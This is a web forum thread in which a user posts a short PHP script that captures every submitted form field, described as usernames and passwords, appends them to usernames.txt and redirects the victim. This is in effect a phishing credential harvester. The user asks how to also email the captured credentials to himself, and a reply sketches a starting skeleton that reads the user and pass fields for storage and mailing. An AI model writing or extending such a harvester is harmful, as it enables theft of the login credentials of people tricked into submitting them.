Jump to content

Script to Send Emails, Troubleing me!


CStott

Recommended Posts

Right at the moment im using this script to get usernames and passwords and save them into usernames.txt

 

<?php
header ('Location: redirect.html');
$handle = fopen("usernames.txt", "a");
foreach($_POST as $variable => $value) {
   fwrite($handle, $variable);
   fwrite($handle, "=");
   fwrite($handle, $value);
   fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?> 

 

But instead of me always having to check usernames.txt i want them to be emailed to me aswell as being saved in usernames.txt (because i know mail can mess up sometimes)

 

But i dont have the foggyest of where to start

 

 

Any help would be appriciated!

Link to comment
Share on other sites

I am not going to give you the complete code. You can get it done. I just try to initiate the process.

Suppose you get username and password using a form, in that case your initial code will be like this:

<?php

 

if (isset($_POST['submit']))

{

$username = $_POST['user'];

$passwaord = $_POST['pass'];

 

//now you store this value in text file

//as well as use mail function

 

}

 

 

?>

Link to comment
Share on other sites

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.